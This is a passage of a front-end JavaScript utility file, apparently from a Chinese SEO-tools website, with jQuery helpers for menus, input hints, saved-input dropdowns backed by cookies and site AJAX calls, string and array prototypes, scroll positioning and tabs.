{\n            _this.show();\n        }, timer);\n        if (itemOverbackall) itemOverbackall(_this);\n    }, function () {\n        var _this = $(this);\n        clearTimeout(outTimer);\n        outTimer = setTimeout(function () {\n            _this.hide();\n        }, timer);\n        if (itemOutbackall) itemOutbackall(_this);\n    });\n};\n//SearchWrapHid-Cent\nvar checkFocus = function (options) {\n    var thisCheck = options.obj_input; //当前input\n    var msgBox = options.msgBox; //当前提示标签\n    checkValue = thisCheck.val();\n    var trime = options.trime !== undefined ? options.trime : 200;\n    thisCheck.focus(function () {\n        msgBox.fadeOut(trime);\n    });\n    thisCheck.blur(function () {\n        if ($(this).val() == \"\") {\n            if (msgBox.hasClass(options.Tip)) {\n                msgBox.stop(true, true).fadeIn(trime);\n            }\n            return false;\n        } else {\n            msgBox.stop(true, true).fadeOut(trime);\n            return true;\n        }\n    });\n    msgBox.click(function () {\n        thisCheck.mousedown();\n        thisCheck.focus();\n    });\n\n    function init() {\n//        if (!options.isselchk)\n//            $(\".publicSearch input[type='text']:first\").focus().select();\n        if (checkValue !== '') {\n            msgBox.stop(true, true).fadeOut(trime);\n        } else {\n            msgBox.stop(true, true).fadeIn(trime);\n        }\n    }\n    init();\n};\nvar clearInput = function (options) {\n    var thisCheck = options.obj_input; //当前input\n    var msgBox = options.msgBox; //当前提示标签\n    checkValue = thisCheck.val();\n    var trime = options.trime !== undefined ? options.trime : 100;\n    thisCheck.bind(\"blur keyup\", function () {\n        if ($(this).val() == \"\") {\n            if (msgBox.hasClass(options.Tip)) {\n                msgBox.stop(true, true).fadeOut(trime);\n            }\n        } else {\n            msgBox.stop(true, true).fadeIn(trime);\n        }\n    });\n    msgBox.click(function () {\n        thisCheck.focus();\n        msgBox.stop(true, true).fadeOut(trime);\n        thisCheck.val(\"\");\n    });\n\n    function init() {\n        $(\"input[type='text']:first\").focus().select();\n        if (checkValue !== '') {\n            msgBox.stop(true, true).fadeIn(trime);\n        } else {\n            msgBox.stop(true, true).fadeOut(trime);\n        }\n    }\n    init();\n};\nvar _select = function (settings) {\n    settings.select.bind(\"selectstart\", function () { return false; }); //禁用选中IE，其他-moz-user-select:none;\n    settings.select.click(function (e) {\n        if (settings.parents)\n            if (settings.parents.length > 1) settings.parents.find(\"ul\").not(settings.options).hide(); //如果有多个select隐藏非当前的所有相关ul\n    if (settings.options.is(\":visible\")) showType(0);\n    else showType(1);\n    if (settings.selectcallback) settings.selectcallback(this);\n    e.stopPropagation();\n});\nsettings.option.click(function () {\n    settings.select.text($(this).text());\n    settings.select.next().val($(this).attr(\"val\"));\n    showType(0);\n    if (settings.callback) settings.callback(this);\n});\n$(document).click(function () {\n    if (settings.options.is(\":visible\")) showType(0);\n});\n\nfunction showType(flage) {\n    switch (settings.t) {\n        case \"slide\":\n            if (flage) {\n                settings.options.slideDown(50);\n                settings.select.siblings(\"span\").addClass(\"corUp\");\n            }\n            else {\n                settings.options.slideUp(50);\n                settings.select.siblings(\"span\").removeClass(\"corUp\");\n            }\n            break;\n        case \"fade\":\n            if (flage) {\n                settings.options.fadeIn(200);\n                settings.select.siblings(\"span\").addClass(\"corUp\");\n            }\n            else {\n                settings.options.fadeOut(200);\n                settings.select.siblings(\"span\").removeClass(\"corUp\");\n            }\n            break;\n        default:\n            if (flage) {\n                settings.options.show();\n                settings.select.siblings(\"span\").addClass(\"corUp\");\n            }\n            else {\n                settings.options.hide();\n                settings.select.siblings(\"span\").removeClass(\"corUp\");\n            }\n            break;\n    }\n}\n};\n\n/**\n* 移除数组中的空元素\n* @param {array} 数组\n* @returns {narray} 新数组\n* */\nArray.prototype.trimArray = function () {\n    var array = this;\n    var narray = [];\n    for (var i = 0; i < array.length; i++)\n\n        if (array[i]) {\n            if (typeof array[i] == \"string\") {\n                if (array[i].trim())\n                    narray.push(array[i]);\n            } else {\n                narray.push(array[i]);\n            }\n        }\n    return narray;\n}; \n/**\n* 移除数组中的指定元素\n* @param {elm} 指定元素值\n* @returns {narray} 新数组\n* */\nArray.prototype.remove = function (elm) {\n    for (var i = 0; i < this.length; i++) {\n        if (this[i] == elm) {\n            this[i] = '';\n            break;\n        }\n    }\n    return this.trimArray(); //清除空元素\n};\n/**\n* 去除数组中重复的元素\n* @param {isStrict} 是否严格模式\n* ['1',1] isStric=true 返回1，否则，返回1,1\n* @returns {Array}\n* */\nArray.prototype.unique = function (isStrict) {\n    if (!this.length) return [];\n    if (this.length < 2) return [this[0]] || [];\n    var tempObj = {},\n\t\t\tnewArr = [];\n    for (var i = 0; i < this.length; i++) {\n        var v = this[i];\n        var condition = isStrict ? (typeof tempObj[v] != typeof v) : false;\n        if ((typeof tempObj[v] == \"undefined\") || condition) {\n            tempObj[v] = v;\n            newArr.push(v);\n        }\n    }\n    return newArr;\n};\n/**\n* 统计元素在数组中出现的次数\n* @param {array} 数组\n* ['1',1] isStric=true 返回1，否则，返回1,1\n* @returns {Array} 返回一个二维数组::[\"元素名\",\"出现的次数\"]\n* */\nArray.prototype.sameCount = function () {\n    var res = [];\n    var ary = this;\n    ary.sort();\n    for (var i = 0; i < ary.length; ) {\n        var count = 0;\n        for (var j = i; j < ary.length; j++) {\n            if (ary[i] == ary[j]) {\n                count++;\n            }\n        }\n        res.push([ary[i], count]);\n        i += count;\n    }\n    return res;\n}\nvar getClassName = function (name) {\n    try {\n        return document.getElementsByClassName(name);\n    } catch (e) {\n        var tags = document.getElementsByTagName('*') || document.all;\n        var els = [];\n        for (var i = 0; i < tags.length; i++) {\n            if (tags[i].className && typeof tags[i].className == \"string\") {\n                var cs = [];\n                try {\n                    cs = tags[i].className.split(' ');\n                } catch (e) {\n                    break;\n                }\n                for (var j = 0; j < cs.length; j++) {\n                    if (name == cs[j]) {\n                        els.push(tags[i]);\n                        break\n                    }\n                }\n            }\n        }\n        return els\n    }\n};\nvar byClass = getClassName;\n\nfunction gopage(page, form) {\n    $(\"#pagelist a.item\").click(function () {\n        $(\"#\" + page).val($(this).attr(\"val\"));\n        //jq中submit()提交表单需加setTimeout兼容IE6，原因未知\n        setTimeout(function () {\n            $(\"#\" + form).submit();\n        }, 0);\n    });\n    $(\"#pageok\").click(function () {\n        if ($(\"#pn\").val()) {\n            $(\"#\" + page).val($(\"#pn\").val());\n            setTimeout(function () {\n                $(\"#\" + form).submit();\n            }, 0);\n        }\n    });\n}\n/**\n* 格式化时间函数\n* @param {format} 时间显示格式\n*/\nDate.prototype.format = function (format) {\n    var date = {\n        \"M+\": this.getMonth() + 1,\n        \"d+\": this.getDate(),\n        \"h+\": this.getHours(),\n        \"m+\": this.getMinutes(),\n        \"s+\": this.getSeconds(),\n        \"q+\": Math.floor((this.getMonth() + 3) / 3),\n        \"S+\": this.getMilliseconds()\n    };\n    if (/(y+)/i.test(format)) {\n        format = format.replace(RegExp.$1, (this.getFullYear() + '').substr(4 - RegExp.$1.length));\n    }\n    for (var k in date) {\n        if (new RegExp(\"(\" + k + \")\").test(format)) {\n            format = format.replace(RegExp.$1, RegExp.$1.length == 1 ? date[k] : (\"00\" + date[k]).substr((\"\" + date[k]).length));\n        }\n    }\n    return format;\n};\nString.prototype.format = function (args) {\n    if (arguments.length > 0) {\n        var result = this;\n        if (arguments.length == 1 && typeof (args) == \"object\") {\n            for (var key in args) {\n                var reg = new RegExp(\"({\" + key + \"})\", \"g\");\n                result = result.replace(reg, args[key]);\n            }\n        }\n        else {\n            for (var i = 0; i < arguments.length; i++) {\n                if (arguments[i] == undefined) {\n                    result = result.replace(reg, arguments[i]);\n                }\n                else {\n                    var reg = new RegExp('\\\\{' + i + '\\\\}', 'gm'); ;\n                    result = result.replace(reg, arguments[i]);\n                }\n            }\n        }\n        return result;\n    }\n    else {\n        return this;\n    }\n}\nString.prototype.trim = function () {\n    return this.replace(/(^\\s*)|(\\s*$)/g, '')\n};\nfunction StringBuilder() {\n    this.__values = new Array();\n};\nStringBuilder.prototype.appendLine = function (v) {\n    this.__values.push(v);\n}\nStringBuilder.prototype.toString = function () {\n    return this.__values.join('');\n}\nNumber.prototype.toFixed = function (d) {\n    var s = this + \"\";\n    if (!d) d = 0;\n    if (s.indexOf(\".\") == -1) s += \".\";\n    s += new Array(d + 1).join(\"0\");\n    if (new RegExp(\"^(-|\\\\+)?(\\\\d+(\\\\.\\\\d{0,\" + (d + 1) + \"})?)\\\\d*$\").test(s)) {\n        var s = \"0\" + RegExp.$2, pm = RegExp.$1, a = RegExp.$3.length, b = true;\n        if (a == d + 2) {\n            a = s.match(/\\d/g);\n            if (parseInt(a[a.length - 1]) > 4) {\n                for (var i = a.length - 2; i >= 0; i--) {\n                    a[i] = parseInt(a[i]) + 1;\n                    if (a[i] == 10) {\n                        a[i] = 0;\n                        b = i != 1;\n                    }\n                    else break;\n                }\n            }\n            s = a.join(\"\").replace(new RegExp(\"(\\\\d+)(\\\\d{\" + d + \"})\\\\d$\"), \"$1.$2\");\n        }\n        if (b) s = s.substr(1);\n        return (pm + s).replace(/\\.$/, \"\");\n    }\n    return this + \"\";\n}\n//限制只能键入数字,flage:是否验证‘.’传入则不可以输入‘.’\nfunction entNumber(e, flage) {\n    e = e || window.event;\n    var keyCode = e.keyCode || e.which;\n    if (!(keyCode == 46) && !(keyCode == 8) && !(keyCode == 37) && !(keyCode == 39) && !(keyCode == 17)  && !(keyCode == 13) && ctrlKey()) {\n        if (!((keyCode >= 48 && keyCode <= 57) || (keyCode == 110 || keyCode == 190) || keyCode == 9 || (keyCode >= 96 && keyCode <= 105))) stopDefault(e);\n        if (flage) if (!((keyCode >= 48 && keyCode <= 57) || keyCode == 9 || (keyCode >= 96 && keyCode <= 105))) stopDefault(e);\n    }\n    //ctrl+c/v/a/x/z\n    function ctrlKey() {\n        return !(e.ctrlKey && keyCode == 67) && !(e.ctrlKey && keyCode == 86) && !(e.ctrlKey && keyCode == 65) && !(e.ctrlKey && keyCode == 88) && !(e.ctrlKey && keyCode == 90)\n    }\n}\nfunction getKeyCode(e) {\n    e = e || window.event;\n    return e.keyCode || e.which;\n}\n//阻止浏览器的默认行为\nfunction stopDefault(e) {\n    e = e || window.event;\n    if (e.preventDefault) e.preventDefault(); //其他浏览器\n    else e.returnValue = false; //IE浏览器\n}\n/**\n* 阻止事件(包括冒泡和默认行为)\n* */\nfunction stopEvent(e) {\n    e = e || window.event;\n    if (e.preventDefault) { //其他浏览器\n        e.preventDefault();\n        e.stopPropagation();\n    } else { //IE浏览器\n        e.returnValue = false;\n        e.cancelBubble = true;\n    }\n};\nfunction getid(id) {\n    return (typeof id == 'string') ? document.getElementById(id) : id\n};\nfunction getcookie(name) {\n    var cookie_start = document.cookie.indexOf(name);\n    var cookie_end = document.cookie.indexOf(\";\", cookie_start);\n    return cookie_start == -1 ? '' : unescape(document.cookie.substring(cookie_start + name.length + 1, (cookie_end > cookie_start ? cookie_end : document.cookie.length)));\n}\nfunction setcookie(cookieName, cookieValue) {\n    var expires = new Date();\n    var now = parseInt(expires.getTime());\n    var et = (86400 - expires.getHours() * 3600 - expires.getMinutes() * 60 - expires.getSeconds());\n    expires.setTime(now + 1000000 * (et - expires.getTimezoneOffset() * 60));\n    document.cookie = escape(cookieName) + \"=\" + escape(cookieValue) + \";expires=\" + expires.toGMTString() + \"; path=/\";\n}\nfunction IsURL(strUrl) {\n    //var regular = /^\\b(((https?|ftp):\\/\\/)?[-a-z0-9]+(\\.[-a-z0-9]+)*\\.(?:com|edu|gov|int|mil|net|org|biz|info|name|museum|asia|coop|red|aero|xyz|top|ren|club|wang|[a-z][a-z]|((25[0-5])|(2[0-4]\\d)|(1\\d\\d)|([1-9]\\d)|\\d))\\b(\\/[-a-z0-9_:\\@&?=+,.!\\/~%\\$]*)?)$/i\n    var regular = /^\\b(((https?|ftp):\\/\\/)?[-a-z0-9]+(\\.[-a-z0-9]+)*\\.([a-z0-9]+)(\\/[-a-z0-9_:\\@&?=+,.!\\/~%\\$]*)?)$/i\n    if (regular.test(strUrl)) {\n        return true;\n    }\n    else {\n        return false;\n    }\n}\n\n//url参数分解\nString.prototype.queryString = function () {\n    var raw = this.toString();\n    if (raw.length == 0)\n        return null;\n    var arr = [];\n    var collection = raw.split('&');\n    for (var i = 0; i < collection.length; i++) {\n        var o = {};\n        var tmp = collection[i].split('=');\n        o.k = tmp[0];\n        o.v = tmp[1];\n        arr.push(o);\n    }\n    return arr;\n}\n//获取url参数值\nString.prototype.queryStringValue = function (keyName) {\n    var url = this.toString();\n    if (url.length == 0)\n        return null;\n    var collection = url.split('&');\n    for (var i = 0; i < collection.length; i++) {\n        var tmp = collection[i].split('=');\n        if (tmp.length < 2)\n            continue;\n        if (tmp[0].toUpperCase() == keyName.toUpperCase())\n            return tmp[1];\n    }\n    return null;\n}\nfunction Init() {\n    var currentInput = null;\n    var iswords = false;\n    var showtype = \"url\";\n    var trime;\n    var tipTxt;\n    var inputSave = {\n        OnKeyup: function (e) {\n            var obj = e.target ? e.target : e.srcElement;\n            if (/\\s+/.test(obj.value))\n                $(obj).val($(obj).val().replace(/\\s+/g, ''));\n            setTimeout(function () { inputSave.addInput('' + obj.id + '', this) }, 200);\n        },\n        BoxShowUrls: function (e) {\n            if (currentInput) {\n                if ($(currentInput).siblings(\".CentHid\").hasClass(\"col-red\"))\n                    $(currentInput).siblings(\".CentHid\").removeClass(\"col-red\")\n            }\n            inputSave.BoxShowTime(e, \"url\");\n        },\n        BoxHide: function (e) {\n            clearTimeout(trime);\n            trime = setTimeout(function () {\n                if (getid(\"ToolBox\")) {\n                    getid(\"ToolBox\").style.display = 'none';\n                    var tags = document.getElementsByTagName('input');\n                    for (var i = 0; i < tags.length; i++) {\n                        if (tags[i].getAttribute('f') == '1') {\n                            tags[i].setAttribute('f', 0)\n                        }\n                    }\n                }\n            }, 200);\n        },\n        OnPaste: function (e) {\n            var obj = e.target ? e.target : e.srcElement;\n            setTimeout(function () { inputSave.MoveHttp('' + obj.id + '') }, 200);\n        },\n        BoxShowWords: function (e) {\n            inputSave.BoxShowTime(e, \"words\");\n        },\n        BoxShowCname: function (e) {\n            inputSave.BoxShowTime(e, \"cname\");\n        },\n        BoxShowIcpcode: function (e) {\n            inputSave.BoxShowTime(e, \"icpcode\");\n        },\n        BoxShowTime: function (e, b) {\n            if (getid(\"ToolBox\"))\n                getid(\"ToolBox\").style.display = 'none';\n            clearTimeout(trime);\n            trime = setTimeout(function () {\n                showtype = b;\n                if (tipTxt) $(currentInput).siblings(\".CentHid\").removeClass(\"col-hint\").text(tipTxt);\n                inputSave.BoxShow(e);\n            }, 200);\n        },\n        BoxShow: function (e) {\n            var input = e;\n            if (!input.id) {\n                input = e.target ? e.target : e.srcElement;\n            }\n            currentInput = input;\n            switch (showtype) {\n                case \"url\":\n                    inputSave.FillUrls(\"toolbox_urls\");\n                    break;\n                case \"words\":\n                    inputSave.FillUrls(\"toolbox_words\");\n                    break;\n                case \"cname\":\n                    inputSave.FillUrls(\"toolbox_cname\");\n                    break;\n                case \"icpcode\":\n                    inputSave.FillUrls(\"toolbox_icpcode\");\n                    break;\n            }\n            var box = getid(\"ToolBox\");\n            if (box.style.display == 'block' && currentInput.id == input.id) {\n                return;\n            }\n            input.setAttribute(\"f\", \"1\");\n            var o_span = ($(input).parent())[0];\n            box.style.left = inputSave.getOffsetLeft(o_span) + 'px';\n            box.style.top = (inputSave.getOffsetTop(o_span) + (o_span.offsetHeight - 1)) + 'px';\n            box.style.width = o_span.offsetWidth - 2 + 'px';\n            box.style.display = 'block';\n        },\n        FillUrls: function (cookieName) {\n            var urls = getcookie(cookieName);\n            var html = \"\";\n            switch (showtype) {\n                case \"url\":\n                    html = \"<li><a href='javascript:;' class='add'>＋保存输入框的网址</a></li>\";\n                    break;\n                case \"words\":\n                    html = \"<li><a href='javascript:;' class='add'>＋保存输入框的关键字</a></li>\";\n                    break;\n                case \"cname\":\n                    html = \"<li><a href='javascript:;' class='add'>＋保存输入框的公司名称</a></li>\";\n                    break;\n                case \"icpcode\":\n                    html = \"<li><a href='javascript:;' class='add'>＋保存输入框的备案编号</a></li>\";\n                    break;\n            }\n            if (urls != '' && urls != ';') {\n                var urllist = urls.split('|');\n                for (var i = 0; i < urllist.length; i++) {\n                    var textval = urllist[i];\n                    html += \"<li><a href=\\\"javascript:\\\" class='setval'><input type='button' value='删除' class='del' v=\" + textval + \" />\" + textval + \"</a></li>\";\n                }\n            }\n            else {\n                html += \"<li>没有记录</li>\"\n            }\n            getid(\"xlist\").innerHTML = html;\n            $(\"#ToolBox .add\").click(inputSave.ToolBoxAdd);\n            $(\"#ToolBox .setval\").click(function () {\n                inputSave.InputSetValue($(this).text());\n                $(\"form .jstrime\").remove();\n                setTimeout(function () {\n                    $(\".WrapHid\").each(function () {\n                        checkFocus({\n                            obj_input: $(this),\n                            msgBox: $(this).siblings(\".CentHid\"),\n                            Tip: \"CentHid\",\n                            isselchk: true\n                        });\n                    });\n                    $(currentInput).removeClass(\"col-hint\");\n                }, 200);\n            });\n            $(\"#ToolBox .del\").click(function (e) {\n                stopEvent(e);\n                inputSave.ToolBoxDeleteValue($(this).attr(\"v\"));\n                $(\".WrapHid\").each(function () {\n                    checkFocus({\n                        obj_input: $(this),\n                        msgBox: $(this).siblings(\".CentHid\"),\n                        Tip: \"CentHid\",\n                        isselchk: true\n                    });\n                });\n            });\n        },\n        getOffsetTop: function (el, p) {\n            var _t = el.offsetTop;\n            while (el = el.offsetParent) {\n                if (el == p) break;\n                _t += el.offsetTop\n            }\n            return _t\n        },\n        getOffsetLeft: function (el, p) {\n            var _l = el.offsetLeft;\n            while (el = el.offsetParent) {\n                if (el == p) break;\n                _l += el.offsetLeft\n            }\n            return _l\n        },\n        ToolBoxAdd: function () {\n            inputSave.BoxHide();\n            var val = currentInput.value.trim();\n            //col-red\n            if (val == '') {\n                //alert(\"不能添加空值。\");\n                tipTxt = $(currentInput).siblings(\".CentHid\").text();\n                $(currentInput).siblings(\".CentHid\").addClass(\"col-hint\").text(\"不能添加空值\");\n                return;\n            }\n            if (showtype == \"url\") {\n                if (!IsURL(val)) {\n                    //alert(\"输入网址不正确!\")\n                    tipTxt = $(currentInput).siblings(\".CentHid\").text();\n                    currentInput.value = '';\n                    $(currentInput).siblings(\".CentHid\").addClass(\"col-hint\").text(\"输入网址不正确\").show();\n                    return;\n                }\n            }\n            if (location.host.indexOf(\"mobile\") >= 0 || location.host.indexOf(\"index\") >= 0 || location.host.indexOf(\"wapseo\") >= 0)//如果是mobile.chinaz.com\n                $.ajax({ type: \"POST\", url: \"/fit/toobox\", data: { \"addval\": escape(val), \"showtype\": showtype} });\n            else\n                $.ajax({ type: \"POST\", url: \"/ajaxsync.aspx\", data: 'at=toolbox&showtype=' + showtype + '&addval=' + escape(val) });\n        },\n        addInput: function (id, _this) {\n            var obj = getid(id);\n            if (obj.value.indexOf('。') > 0) {\n                obj.value = obj.value.replace('。', '.');\n            }\n            this.value = obj.value;\n        },\n        MoveHttp: function (id) {\n            var val = getid(id).value;\n            val = val.replace(/http(s)?:\\/\\//, \"\");\n            var temp = val.split('/');\n            if (temp.length <= 2) {\n                if (val[val.length - 1] == '/') {\n                    val = val.substring(0, val.length - 1);\n                }\n            }\n            getid(id).value = val;\n        },\n        ToolBoxDeleteValue: function (val) {\n            inputSave.BoxHide();\n            if (location.host.indexOf(\"mobile\") >= 0 || location.host.indexOf(\"index\") >= 0 || location.host.indexOf(\"wapseo\") >= 0)//如果是mobile.chinaz.com\n                $.ajax({ type: \"POST\", url: \"/fit/toobox\", data: { \"delval\": escape(val), \"showtype\": showtype} });\n            else\n                $.ajax({ type: \"POST\", url: \"/ajaxsync.aspx\", data: 'at=toolbox&showtype=' + showtype + '&delval=' + escape(val) });\n        },\n        InputSetValue: function (val) {\n            setTimeout(function () {\n                var obj = currentInput;\n                obj.value = val;\n                if ($(\"input[name='page']\")) $(\"input[name='page']\").val(1);\n                if (obj.getAttribute('url') == 'true') {\n                    var tags = document.getElementsByTagName('input');\n                    for (var i = 0; i < tags.length; i++) {\n                        if (tags[i].getAttribute('url') == 'true' && tags[i] != obj && tags[i].getAttribute('f') == '1') {\n                            tags[i].value = val;\n                        }\n                    }\n                }\n            }, 200);\n            inputSave.BoxHide();\n        }\n    }\n    $(\"input[url='true']\").bind({ keyup: inputSave.OnKeyup, mousedown: inputSave.BoxShowUrls, mouseout: inputSave.BoxHide, paste: inputSave.OnPaste });\n    $(\"input[words='true']\").bind({ mousedown: inputSave.BoxShowWords, mouseout: inputSave.BoxHide });\n    $(\"input[cname='true']\").bind({ mousedown: inputSave.BoxShowCname, mouseout: inputSave.BoxHide });\n    $(\"input[icpcode='true']\").bind({ mousedown: inputSave.BoxShowIcpcode, mouseout: inputSave.BoxHide });\n    $(\"#ToolBox\").mouseout(inputSave.BoxHide).mouseover(function () { clearTimeout(trime); $(this).show(); });\n}\n\n\n//查询记录\nfunction getLochis() {\n    menuHover($(\"#selecthis\"), $(\"#selecthis-box\"), function () {\n        $(\"#selecthis i\").addClass(\"cnerCurt\").removeClass(\"corner\");\n    }, function () {\n        $(\"#selecthis i\").removeClass(\"cnerCurt\").addClass(\"corner\");\n    });\n    var ocookie;\n    $(\"#selecthis\").hover(function () {\n        var winWidth = window.innerWidth || document.documentElement && document.documentElement.clientWidth || 0;\n        if (winWidth < 1050) {\n            $(\"#selecthis-box\").css({ left: \"auto\", right: \"20px\" });\n            $(\"#selecthis-box .BomCor-arrow\").css({ left: \"auto\", right: \"6px\" });\n        } else {\n            $(\"#selecthis-box\").css({ left: \"20px\", right: \"auto\" });\n            $(\"#selecthis-box .BomCor-arrow\").css({ left: \"6px\", right: \"auto\" });\n        }\n        $(\"#selecthis i\").addClass(\"cnerCurt\").removeClass(\"corner\");\n        var cookie = getcookie(\"qHistory\");\n        if (cookie == ocookie) return;\n        ocookie = cookie;\n        var url;\n        if (location.host.indexOf(\"mobile\") >= 0 || location.host.indexOf(\"index\") >= 0 || location.host.indexOf(\"wapseo\") >= 0) {\n            url = \"/fit/GetQueryHistory?val=\";\n        } else {\n            url = \"/ajaxsync.aspx?at=qh&val=\";\n        }\n        $.ajax({\n            type: \"get\",\n            url: url + encodeURIComponent(cookie),\n            beforeSend: function () {\n                $(\".BomreList\").html(\"<div class=\\\"BorWrapa tc\\\"><img src=\\\"\" + imgurlbase + \"/public/spinner.gif\\\" class=\\\"mt10\\\" /></div>\");\n            },\n            success: function (data) {\n                if (data == 0) $(\".BomreList\").html(\"<div class=\\\"BorWrapa tc\\\" style=\\\"color:#e60012\\\">无记录</div>\");\n                else {\n                    $(\".BomreList\").html(data + \"<a href=\\\"javascript:\\\" class=\\\"BomreMore BorWrapa\\\" id=\\\"jsclearall\\\"><i></i>清空记录</a>\");\n                    bindClick();\n                }\n            }\n        });\n    }, function () {\n        $(\"#selecthis i\").removeClass(\"cnerCurt\").addClass(\"corner\");\n    });\n}\nfunction bindClick() {\n    $(\"i.jsclear\").click(function () {\n        var _this = this;\n        var url;\n        if (location.host.indexOf(\"mobile\") >= 0 || location.host.indexOf(\"index\") >= 0 || location.host.indexOf(\"wapseo\") >= 0) {\n            url = \"/fit/clearqh?val=\";\n        } else {\n            url = \"/ajaxsync.aspx?at=clearqh&val=\";\n        }\n        $.post(url + encodeURIComponent($(this).attr(\"v\")), function (data) {\n            if (data == 1) {\n                var _parents = $(_this).parents(\".BorWrapa\");\n                _parents.fadeOut(200, function () {\n                    _parents.remove();\n                    if ($(\"i.jsclear\").length == 0) $(\"#selecthis-box\").hide();\n                });\n            }\n        });\n    });\n    $(\"#jsclearall\").click(function () {\n        var url;\n        if (location.host.indexOf(\"mobile\") >= 0 || location.host.indexOf(\"index\") >= 0 || location.host.indexOf(\"wapseo\") >= 0) {\n            url = \"/fit/clearqh?val=all\";\n        } else {\n            url = \"/ajaxsync.aspx?at=clearqh&val=all\";\n        }\n        $.post(url, function (data) {\n            if (data == 1) $(\"#selecthis-box\").fadeOut(200);\n        });\n    });\n}\n\n//滚动事件\nvar boxScroll = function (options) {\n    var settings = {\n        _scroll: $(\"#scroll\"), //滚动的div\n        _width: 0,\n        _height: 0,\n        _top: 0, //定位top\n        _left: 0, //定位left\n        endElm: \"\", //结束id\n        ow: 10, //padding或margin的值，用来准确定位\n        isresize: false,\n        callback: function () { }\n    };\n    if (options)\n        $.extend(settings, options);\n    var _scroll = settings._scroll;\n    _scrollfn();\n    $(window).scroll(function () {\n        _scrollfn();\n    });\n    if (settings.isresize) {\n        $(window).resize(function () {\n            _scrollfn();\n        });\n    }\n    function _scrollfn() {\n        var _scrolltop = $(window).scrollTop();\n        var _postiton = \"fixed\"; //默认\n        if (sys.ie <= 6)\n            _postiton = \"absolute\";\n        if (settings.endElm) {\n            var endTop = settings.endElm.offset().top; //结束的TOP\n            if (_scrolltop <= settings._top) {\n                _scroll.css({\n                    position: \"static\"\n                });\n            }\n            else if (_scrolltop + settings._height >= endTop) {\n                _scroll.css({\n                    position: \"absolute\",\n                    left: settings._left + \"px\",\n                    top: (endTop - settings._height - settings.ow) + \"px\"\n                });\n            }\n            else {\n                _scroll.css({\n                    position: _postiton,\n                    left: settings._left + \"px\",\n                    top: sys.ie <= 6 ? ((_scrolltop + settings.ow) + \"px\") : \"10px\"\n                });\n            }\n        } else {\n            settings._winWidth = window.innerWidth || document.documentElement && document.documentElement.clientWidth || 0;\n            settings._winHeight = window.innerHeight || document.documentElement && document.documentElement.clientHeight || 0;\n            var ob = $('.Map-navbar').length ? $('.Map-navbar') : $(\".navfixd\");\n            if (!ob.length) return;\n            var l;\n            if (settings._winWidth <= ob.width() + 75) {\n                _scroll.css({\n                    position: _postiton,\n                    left: \"auto\",\n                    right:\"0\",\n                    top: sys.ie <= 6 ? ((_scrolltop + (settings._winHeight * 0.9) - settings._height) + \"px\") : \"initial\"\n                }).show();\n            } else {\n                _scroll.css({\n                    position: _postiton,\n                    left: ob.offset().left + ob.width(),\n                    top: sys.ie <= 6 ? ((_scrolltop + (settings._winHeight * 0.9) - settings._height) + \"px\") : \"initial\"\n                }).show();\n            }\n            if (settings.callback) settings.callback(settings, _scrolltop);\n        }\n    }\n};\n; (function () {\n    window.sys = {};\n    var ua = navigator.userAgent.toLowerCase();\n    var s;\n    (s = ua.match(/msie ([\\d.]+)/)) ? sys.ie = s[1] :\n\t(s = ua.match(/firefox\\/([\\d.]+)/)) ? sys.firefox = s[1] :\n\t(s = ua.match(/chrome\\/([\\d.]+)/)) ? sys.chrome = s[1] :\n\t(s = ua.match(/opera\\/.*version\\/([\\d.]+)/)) ? sys.opera = s[1] :\n\t(s = ua.match(/version\\/([\\d.]+).*safari/)) ? sys.safari = s[1] : 0;\n\n    if (/webkit/.test(ua)) sys.webkit = ua.match(/webkit\\/([\\d.]+)/)[1];\n})();\n/*  内容溢出省略替代，num最大长度  */\n; (function ($) {\n    $.fn.wordLimit = function (num) {\n        this.each(function () {\n            if (!num) {\n                var copyThis = $(this.cloneNode(true)).hide().css({\n                    'position': 'absolute',\n                    'width': 'auto',\n                    'overflow': 'visible'\n                });\n                $(this).after(copyThis);\n                if (copyThis.width() > $(this).width()) {\n                    $(this).text($(this).text().substring(0, $(this).text().length - 4));\n                    $(this).html($(this).html() + '...');\n                    copyThis.remove();\n                    $(this).wordLimit();\n                } else {\n                    copyThis.remove();\n                    return;\n                }\n            } else {\n                var maxwidth = num;\n                if ($(this).text().length > maxwidth) {\n                    $(this).text($(this).text().substring(0, maxwidth));\n                    $(this).html($(this).html() + '...');\n                }\n            }\n        });\n    }\n})(jQuery);\n\nfunction loadScript(options) {\n    var url = options.url, elms = options.elms, callback = options.callback;\n    var script = document.createElement(\"script\");\n    script.type = \"text/javascript\";\n    if (script.readyState) {\n        script.onreadystatechange = function () {\n            if (script.readyState == \"loaded\" || script.readyState == \"complete\") {\n                script.onreadystatechange = null;\n                if (callback) callback();\n            }\n        };\n    } else {\n        script.onload = function () {\n            if (callback) callback();\n        };\n    }\n    script.src = url;\n    elms.appendChild(script)\n}\n\n//过滤HTML标签\nString.prototype.removeHtmlTab = function () {\n    return this.replace(/<[^<>]+?>/g, '');\n}\n//HTML标签字符转换成转意符\nString.prototype.html2Escape = function () {\n    return this.replace(/[<>&\"]/g, function (c) { return { '<': '&lt;', '>': '&gt;', '&': '&amp;', '\"': '&quot;'}[c]; });\n}\n//转意符换成HTML标签\nString.prototype.escape2Html = function () {\n    var arrEntities = { 'lt': '<', 'gt': '>', 'nbsp': ' ', 'amp': '&', 'quot': '\"' };\n    return this.replace(/&(lt|gt|nbsp|amp|quot);/ig, function (all, t) { return arrEntities[t]; });\n}\n//&nbsp;转成空格\nString.prototype.nbsp2Space = function () {\n    var arrEntities = { 'nbsp': ' ' };\n    return this.replace(/&(nbsp);/ig, function (all, t) { return arrEntities[t] })\n}\n//回车转为br标签\nString.prototype.return2Br = function () {\n    return this.replace(/\\r?\\n/g, \"<br />\");\n};\n\n/*********Tabs***********/\n; (function ($) {\n    $.fn.tabs = function (settings) {\n        var $control = $(settings.control);\n        var childTag = settings.childTag;\n        var className = settings.className;\n        var eventName = settings.eventName;\n        this.each(function () {\n            var _this = $(this);\n            var group = _this.attr(\"tabs\");\n            _this.find(childTag).bind(eventName, function (e) {\n                var _index = $(this).index();\n                _this.find(childTag).removeClass(className);\n                $(this).addClass(className);\n\n                $control.each(function () {\n                    var cgroup = $(this).attr(\"tabs-control\");\n                    if (group == cgroup) {\n                        $(this).find(\">div\").hide();\n                        $(this).find(\">div\").eq(_index).show();\n                    }\n                });\n                if (settings.callback) settings.callback(_this);\n            });\n        });\n    }\n})(jQuery);\n\n/********************/\nfunction Drag(obj, mover, parentElm) {\n    this.obj = obj;\n    this.mover = mover;\n    this.ht = mover || obj;\n    this.parentElm = parentElm;\n}\nDrag.prototype.mouseup = function (_this, e, callback) {\n    e = e || 